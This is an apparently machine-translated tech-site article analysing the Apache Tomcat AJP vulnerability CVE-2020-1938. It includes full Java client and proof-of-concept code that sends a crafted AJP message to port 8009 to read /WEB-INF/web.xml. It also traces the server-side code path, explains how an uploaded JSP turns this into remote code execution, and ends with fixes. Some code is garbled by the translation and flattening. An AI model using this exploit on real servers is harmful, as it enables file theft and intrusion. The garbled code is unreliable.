Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to implement the vulnerability Analysis of Apache AJP Protocol CVE-2020-1938

2025-04-02 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

In this issue, the editor will bring you about how to achieve Apache AJP protocol CVE-2020-1938 loophole analysis, the article is rich in content and professional analysis and description for you, I hope you can get something after reading this article.

Environment building

The test environment of tomcat8.0.52 is used here. Because AJP protocol is enabled by default in tomcat, we only need to configure the remote debug environment of tomcat.

1. Find catalina.sh to define the remote debugging port, and I use the default port 5005 here.

If [- z "$JPDA_ADDRESS"]; then JPDA_ADDRESS= "localhost:5005" fi

2. Enable tomcat in debug mode. It is not recommended to directly change the default startup mode of tomcat, otherwise debug mode will be enabled by default in the future. Therefore, it is recommended to enable tomcat directly in debug mode.

Sh catalina.sh jpda start

3. Import tomcat's jar package into idea's lib, put tomcat's jar in the lib directory, and import lib directly. Next, the remote debugging environment that opens tomcat in idea is deployed.

AJP (Apache JServ Protocol) is a directed packet protocol. Its function is actually similar to the HTTP protocol, except that the AJP protocol uses the binary format to transmit text, and uses the TCP protocol to communicate with the SERVLET container, so the exploitation of the vulnerability needs to rely on a client, not on the browser or HTTP's packet grabbing tool.

Because it is a vulnerability in java, it is difficult to see a lot about the AJP protocol from the poc of py on the Internet, so let's take a look at the client code of java used to send AJP messages. The client code is quoted from the GitHub of 0nise.

The directory structure is as follows, because the code needs to rely on the AJP-related jar package of tomcat itself, so add the lib of tomcat

File:TesterAjpMessage.javapackage com.glassy.utility;import java.util.ArrayList;import java.util.LinkedHashMap;import java.util.List;import java.util.Map;import java.util.Map.Entry;import org.apache.coyote.ajp.AjpMessage;import org.apache.coyote.ajp.Constants;import org.apache.juli.logging.Log;import org.apache.juli.logging.LogFactory;public class TesterAjpMessage extends AjpMessage {private final Map attribute = new LinkedHashMap (); private final List headers = new ArrayList () Private static final Log log = LogFactory.getLog (AjpMessage.class); private static class Header {private final int code; private final String name; private final String value; public Header (int code, String value) {this.code = code; this.name = null; this.value = value } public Header (String name, String value) {this.code = 0; this.name = name; this.value = value;} public void append (TesterAjpMessage message) {if (this.code = = 0) {message.appendString (this.name) } else {message.appendInt (this.code);} message.appendString (this.value);}} public TesterAjpMessage (int packetSize) {super (packetSize);} public byte [] raw () {return this.buf } public void appendString (String str) {if (str = = null) {log.error (sm.getString ("ajpmessage.null"), new NullPointerException ()); this.appendInt (0); this.appendByte (0);} else {int len = str.length (); this.appendInt (len); for (int I = 0; I

< len; ++i) { char c = str.charAt(i); if (c 255) { c = ' '; } this.appendByte(c); } this.appendByte(0); } } public byte readByte() { byte[] bArr = this.buf; int i = this.pos; this.pos = i + 1; return bArr[i]; } public int readInt() { byte[] bArr = this.buf; int i = this.pos; this.pos = i + 1; int val = (bArr[i] & 255) >

This.buf [3] = (byte) (dLen & 255);} public void reset () {super.reset (); this.headers.clear ();}}

This TesterAjpMessage.java file is a subclass of the AjpMessage class that tomcat itself uses to deal with AJP protocol information, because AjpMessage only supports sending bytes information, and the code enriches the TesterAjpMessage subclass, which makes it more convenient for us to support appendString and related operations on Header when constructing the client.

File:SimpleAjpClient.javaimport java.io.IOException;import java.io.InputStream;import java.net.Socket;import java.util.Arrays;import javax.net.SocketFactory;public class SimpleAjpClient {private static final byte [] AJP_CPING; private static final int AJP_PACKET_SIZE = 8192; private String host = "localhost"; private int port =-1; private Socket socket = null; static {TesterAjpMessage ajpCping = new TesterAjpMessage (16); ajpCping.reset () AjpCping.appendByte (10); ajpCping.end (); AJP_CPING = new byte [ajpCping.getLen ()]; System.arraycopy (ajpCping.getBuffer (), 0, AJP_CPING, 0, ajpCping.getLen ());} public int getPort () {return this.port;} public void connect (String host, int port) throws IOException {this.host = host; this.port = port This.socket = SocketFactory.getDefault (). CreateSocket (host, port);} public void disconnect () throws IOException {this.socket.close (); this.socket = null;} public TesterAjpMessage createForwardMessage (String url) {return createForwardMessage (url, 2);} public TesterAjpMessage createForwardMessage (String url, int method) {TesterAjpMessage message = new TesterAjpMessage (8192); message.reset () Message.getBuffer () [0] = (byte) 18; message.getBuffer () [1] = (byte) 52; message.appendByte (2); message.appendByte (method); message.appendString ("http"); message.appendString (url); message.appendString ("10.0.0.1"); message.appendString ("client.dev.local"); message.appendString (this.host) Message.appendInt (this.port); message.appendByte (0); return message;} public TesterAjpMessage createBodyMessage (byte [] data) {TesterAjpMessage message = new TesterAjpMessage (8192); message.reset (); message.getBuffer () [0] = (byte) 18; message.getBuffer () [1] = (byte) 52; message.appendBytes (data, 0, data.length) Message.end (); return message;} public void sendMessage (TesterAjpMessage headers) throws IOException {sendMessage (headers, null);} public void sendMessage (TesterAjpMessage headers, TesterAjpMessage body) throws IOException {this.socket.getOutputStream () .write (headers.getBuffer (), 0, headers.getLen ()) If (body! = null) {this.socket.getOutputStream () .write (body.getBuffer (), 0, body.getLen ());}} public byte [] readMessage () throws IOException {InputStream is = this.socket.getInputStream (); TesterAjpMessage message = new TesterAjpMessage (8192); byte [] buf = message.getBuffer (); int headerLength = message.getHeaderLength () Read (is, buf, 0, headerLength); int messageLength = message.processHeader (false); if (messageLength)

< 0) { throw new IOException("Invalid AJP message length"); } else if (messageLength == 0) { return null; } else { if (messageLength >

Buf.length) {throw new IllegalArgumentException ("Message too long [" + Integer.valueOf (messageLength) + "] for buffer length [" + Integer.valueOf (buf.length) + "]");} read (is, buf, headerLength, messageLength); return Arrays.copyOfRange (buf, headerLength, headerLength + messageLength) }} protected boolean read (InputStream is, byte [] buf, int pos, int n) throws IOException {int read = 0; while (read)

< n) { int res = is.read(buf, read + pos, n - read); if (res >

0) {read + = res;} else {throw new IOException ("Read failed");}} return true;}}

SimpleAjpClient is the client code that sends AJP messages, supports the connection and disconnection of the server, and supports the construction of AJP headers and message bodies.

About how to construct the header message body of the entire AJP message, and how the value of code in the header corresponds to each other, please refer to the AJP protocol summary and analysis.

Loophole analysis

Let's take a look at how the malicious AJP message packets sent are constructed.

File:Test.javaimport com.glassy.utility.SimpleAjpClient;import com.glassy.utility.TesterAjpMessage;import java.io.IOException;import javax.servlet.RequestDispatcher;public class Test {public static void main (String [] args) throws IOException {SimpleAjpClient ac = new SimpleAjpClient (); String host = "localhost"; int port = 8009; String uri = "/ aaa.jsp"; String file = "/ WEB-INF/web.xml"; ac.connect (host, port) TesterAjpMessage forwardMessage = ac.createForwardMessage (uri); forwardMessage.addAttribute (RequestDispatcher.INCLUDE_REQUEST_URI, "1"); forwardMessage.addAttribute (RequestDispatcher.INCLUDE_PATH_INFO, file); forwardMessage.addAttribute (RequestDispatcher.INCLUDE_SERVLET_PATH, "); forwardMessage.end (); ac.sendMessage (forwardMessage); while (true) {byte [] responseBody = ac.readMessage () If (responseBody = = null | | responseBody.length = = 0) {ac.disconnect ();} else {System.out.print (new String (responseBody));}

From the constructed AJP message package, you can see that the core contents of AJPMessage are host, port, INCLUDE_REQUEST_URI, INCLUDE_PATH_INFO and INCLUDE_SERVLET_PATH. Let's write it down here for a while, and then go to the server to see what these things are doing when we hit the breakpoint.

It's time to start thinking about dynamic debugging. Unlike previous rce vulnerabilities (unified typing to the start function of ProcessBuilder), the first key question is where to hit the breakpoint. The way I handle it here is because the AjpMessage class is used in the client code, so I went to take a look at the jar package where this class is located, and sure enough, I found the class in tomcat's lib that is responsible for dealing with AJP protocol.

When you look at the names of these classes, you can almost imagine to take a look at several Processor. The trigger of the vulnerability must go through one of them. Follow the first intuition to look at the AjpProcessor directly, and see that what we want is not found in the AjpProcessor class, but it has a parent class that is worth paying attention to. Then I went to the remaining Processor and found that the parent class is all AbstractAjpProcessor, so I went to look at the code of this class. Finally decided to type the breakpoint on the process method of the AbstractAjpProcessor class.

Run the client, and sure enough, you have to go through this method to deal with the AJP protocol.

In the process method of the AbstractAjpProcessor class, the this.prepareRequest () method is going to pay attention. Here we do some processing for request.

Let's take a look at the code for this method, and first review a detail in the TesterAjpMessage.java code, the value of method.

For this prepareRequest, we get this value and define the method of request as GET, which has something to do with the doGet method to be given to Servlet later.

Immediately after entering a swith loop, ADDR, PORT and PROTOCOL are defined for request, and the INCLUDE_REQUEST_URI, INCLUDE_PATH_INFO and INCLUDE_SERVLET_PATH previously set on the client side are also put into request.include.

Then the request and response are handed over to the CoyoteAdapter class to handle

Then there is a series of reflections, which are finally handed over to JspServlet to process the request

In the service method of JspServlet, we can see that we started to use INCLUDE_REQUEST_URI, INCLUDE_PATH_INFO, and INCLUDE_SERVLET_PATH defined in the code.

The next operation is to give the jspUri to getResource to read the contents of the file.

When calling the getResource method of StandardRoot, the validate method is called to detect the path.

RequestUtil.normalize is used for directory traversal detection, so we cannot construct a.. / mode path.

Then the file will be read, and the overall call stack is as follows

On the existence of any file upload can cause RCE when the principle is very simple, we take a look at the call stack above, we can find that when we read the file to jspServlet to deal with, naturally we upload the jsp file and then through this method to read the file contents at the same time jspServlet will also execute this file, use jsp to do file inclusion resulting in RCE.

Here is a very important point to come back to mention, in order to explain the principle of RCE by the way, so when I define the uri variable in Test.java, I assign it in the form of xxx.jsp, so it is best for AJPProcessor to give Message to JspServlet to deal with this message. In fact, there is a second use chain for this vulnerability, which sets uri as the form of xxx.xxx, so that our AJPMessage will be handled by DefaultServlet. But in fact, the latter process is not much different from the previous one, so we won't go into details.

Add to the call stack used by DefaultServlet

Repair suggestion

My analysis of this loophole is relatively late. I believe everyone knows the repair method, so I will mention it by the way:

1. Close the AJP protocol.

2. Upgrade tomcat.

The above is the analysis of how to implement the Apache AJP protocol CVE-2020-1938 loopholes shared by the editor. If you happen to have similar doubts, you might as well refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 205

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report